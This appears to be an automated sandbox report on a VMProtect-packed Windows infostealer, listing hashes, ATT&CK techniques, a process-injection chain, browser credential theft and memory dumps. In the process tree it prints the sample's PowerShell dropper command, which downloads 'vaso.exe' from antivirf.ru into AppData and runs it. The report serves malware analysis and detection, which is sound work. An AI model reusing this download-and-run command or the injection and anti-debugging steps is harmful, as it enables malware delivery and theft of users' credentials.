e670a645b65e5a4deadb6d555fa4f2bc88ef92a5e9657419f410bd1cc076f407

Analysis

max time kernel
118s
max time network
118s
platform
windows7_x64
resource
win7-en-20211208
submitted
05/01/2022, 12:20

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General

Target
6b9a2749233e308effc6d4d7f190af1d.exe
Size 990KB
Sample220105-phr8dsafam
SHA256 e670a645b65e5a4deadb6d555fa4f2bc88ef92a5e9657419f410bd1cc076f407
MD5 6b9a2749233e308effc6d4d7f190af1d
SHA1 8ad218c63410c131ee81bb061b038647f1ac27d1
SHA512 911ba19ae490ac572c3893704329aa92fd7299d37a7e63c2e9c3b33b910f373eff7831635583c8671a422b116c49962351312d4bf72ac6a871b8ab0a034b0c16
MD5 SHA1 SHA512

Score

10^/10

discovery spyware stealer vmprotect

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://antivirf.ru/vaso.exe

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
11	1128	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
968	vasne.exe

VMProtect packed file 4 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

resource	yara_rule
behavioral1/files/0x0008000000012228-68.dat	vmprotect
behavioral1/files/0x0008000000012228-70.dat	vmprotect
behavioral1/files/0x0008000000012228-71.dat	vmprotect
behavioral1/memory/968-96-0x0000000001170000-0x0000000001BF2000-memory.dmp	vmprotect

Loads dropped DLL 1 IoCs

pid	Process
524	RegAsm.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
968	vasne.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1848 set thread context of 524	1848	6b9a2749233e308effc6d4d7f190af1d.exe	27
PID 968 set thread context of 1968	968	vasne.exe	32

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	RegAsm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
524	RegAsm.exe
524	RegAsm.exe
524	RegAsm.exe
968	vasne.exe
968	vasne.exe
1128	powershell.exe
1208	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	524	RegAsm.exe
Token: SeDebugPrivilege	1128	powershell.exe
Token: SeDebugPrivilege	1208	powershell.exe

Suspicious use of WriteProcessMemory 37 IoCs

description	pid	Process	procid_target
PID 1848 wrote to memory of 524	1848	6b9a2749233e308effc6d4d7f190af1d.exe	27
PID 1848 wrote to memory of 524	1848	6b9a2749233e308effc6d4d7f190af1d.exe	27
PID 1848 wrote to memory of 524	1848	6b9a2749233e308effc6d4d7f190af1d.exe	27
PID 1848 wrote to memory of 524	1848	6b9a2749233e308effc6d4d7f190af1d.exe	27
PID 1848 wrote to memory of 524	1848	6b9a2749233e308effc6d4d7f190af1d.exe	27
PID 1848 wrote to memory of 524	1848	6b9a2749233e308effc6d4d7f190af1d.exe	27
PID 1848 wrote to memory of 524	1848	6b9a2749233e308effc6d4d7f190af1d.exe	27
PID 1848 wrote to memory of 524	1848	6b9a2749233e308effc6d4d7f190af1d.exe	27
PID 1848 wrote to memory of 524	1848	6b9a2749233e308effc6d4d7f190af1d.exe	27
PID 1848 wrote to memory of 524	1848	6b9a2749233e308effc6d4d7f190af1d.exe	27
PID 1848 wrote to memory of 524	1848	6b9a2749233e308effc6d4d7f190af1d.exe	27
PID 1848 wrote to memory of 524	1848	6b9a2749233e308effc6d4d7f190af1d.exe	27
PID 524 wrote to memory of 968	524	RegAsm.exe	29
PID 524 wrote to memory of 968	524	RegAsm.exe	29
PID 524 wrote to memory of 968	524	RegAsm.exe	29
PID 524 wrote to memory of 968	524	RegAsm.exe	29
PID 968 wrote to memory of 1968	968	vasne.exe	32
PID 968 wrote to memory of 1968	968	vasne.exe	32
PID 968 wrote to memory of 1968	968	vasne.exe	32
PID 968 wrote to memory of 1968	968	vasne.exe	32
PID 968 wrote to memory of 1968	968	vasne.exe	32
PID 968 wrote to memory of 1968	968	vasne.exe	32
PID 968 wrote to memory of 1968	968	vasne.exe	32
PID 968 wrote to memory of 1968	968	vasne.exe	32
PID 968 wrote to memory of 1968	968	vasne.exe	32
PID 1968 wrote to memory of 516	1968	RegSvcs.exe	33
PID 1968 wrote to memory of 516	1968	RegSvcs.exe	33
PID 1968 wrote to memory of 516	1968	RegSvcs.exe	33
PID 1968 wrote to memory of 516	1968	RegSvcs.exe	33
PID 516 wrote to memory of 1128	516	cmd.exe	35
PID 516 wrote to memory of 1128	516	cmd.exe	35
PID 516 wrote to memory of 1128	516	cmd.exe	35
PID 516 wrote to memory of 1128	516	cmd.exe	35
PID 516 wrote to memory of 1208	516	cmd.exe	36
PID 516 wrote to memory of 1208	516	cmd.exe	36
PID 516 wrote to memory of 1208	516	cmd.exe	36
PID 516 wrote to memory of 1208	516	cmd.exe	36

C:\Users\Admin\AppData\Local\Temp\6b9a2749233e308effc6d4d7f190af1d.exe
"C:\Users\Admin\AppData\Local\Temp\6b9a2749233e308effc6d4d7f190af1d.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1848
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
  #cmd
  2⤵
  - Loads dropped DLL
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:524
- - C:\Users\Admin\AppData\Local\Temp\vasne.exe
    "C:\Users\Admin\AppData\Local\Temp\vasne.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:968
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1968
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c powershell "(New-Object System.Net.WebClient).DownloadFile('http://antivirf.ru/vaso.exe', (Join-Path -Path $env:AppData -ChildPath 'vaso.exe'))" & powershell "Start-Process -FilePath (Join-Path -Path $env:AppData -ChildPath 'vaso.exe')" & exit
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:516
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell "(New-Object System.Net.WebClient).DownloadFile('http://antivirf.ru/vaso.exe', (Join-Path -Path $env:AppData -ChildPath 'vaso.exe'))"
        6⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1128
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell "Start-Process -FilePath (Join-Path -Path $env:AppData -ChildPath 'vaso.exe')"
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1208

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

memory/524-61-0x0000000000400000-0x0000000000422000-memory.dmp

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memory/524-60-0x0000000000400000-0x0000000000422000-memory.dmp

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memory/524-62-0x0000000000400000-0x0000000000422000-memory.dmp

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memory/524-64-0x0000000075421000-0x0000000075423000-memory.dmp

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memory/524-65-0x0000000000400000-0x0000000000422000-memory.dmp

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memory/524-66-0x0000000000400000-0x0000000000422000-memory.dmp

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memory/524-67-0x0000000004E60000-0x0000000004E61000-memory.dmp

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memory/524-59-0x0000000000400000-0x0000000000422000-memory.dmp

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memory/524-58-0x0000000000400000-0x0000000000422000-memory.dmp

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memory/968-83-0x0000000000160000-0x0000000000161000-memory.dmp

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memory/968-94-0x0000000000230000-0x0000000000231000-memory.dmp

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memory/968-73-0x00000000000F0000-0x00000000000F1000-memory.dmp

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memory/968-72-0x00000000000F0000-0x00000000000F1000-memory.dmp

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memory/968-74-0x00000000000F0000-0x00000000000F1000-memory.dmp

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memory/968-75-0x0000000000140000-0x0000000000141000-memory.dmp

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memory/968-76-0x0000000000140000-0x0000000000141000-memory.dmp

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memory/968-77-0x0000000000140000-0x0000000000141000-memory.dmp

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memory/968-79-0x0000000000150000-0x0000000000151000-memory.dmp

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memory/968-80-0x0000000000150000-0x0000000000151000-memory.dmp

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memory/968-82-0x0000000000160000-0x0000000000161000-memory.dmp

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memory/968-99-0x00000000001A0000-0x00000000001A1000-memory.dmp

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memory/968-85-0x0000000000180000-0x0000000000181000-memory.dmp

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memory/968-86-0x0000000000180000-0x0000000000181000-memory.dmp

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memory/968-88-0x0000000000190000-0x0000000000191000-memory.dmp

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memory/968-89-0x0000000000190000-0x0000000000191000-memory.dmp

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memory/968-90-0x00000000001A0000-0x00000000001A1000-memory.dmp

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memory/968-91-0x00000000001A0000-0x00000000001A1000-memory.dmp

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memory/968-93-0x0000000000230000-0x0000000000231000-memory.dmp

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memory/968-95-0x0000000000230000-0x0000000000231000-memory.dmp

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memory/968-96-0x0000000001170000-0x0000000001BF2000-memory.dmp

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memory/1128-112-0x00000000024B2000-0x00000000024B4000-memory.dmp

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memory/1128-110-0x00000000024B0000-0x00000000024B1000-memory.dmp

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memory/1128-111-0x00000000024B1000-0x00000000024B2000-memory.dmp

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memory/1208-116-0x00000000022A0000-0x0000000002EEA000-memory.dmp

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memory/1208-117-0x00000000022A0000-0x0000000002EEA000-memory.dmp

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memory/1208-118-0x00000000022A0000-0x0000000002EEA000-memory.dmp

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memory/1848-57-0x0000000004DB0000-0x0000000004DB1000-memory.dmp

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memory/1848-55-0x0000000000D20000-0x0000000000E1C000-memory.dmp

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memory/1848-56-0x0000000000D20000-0x0000000000E1C000-memory.dmp

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memory/1968-101-0x0000000000400000-0x0000000000404000-memory.dmp

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memory/1968-106-0x0000000000400000-0x0000000000404000-memory.dmp

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memory/1968-100-0x0000000000400000-0x0000000000404000-memory.dmp

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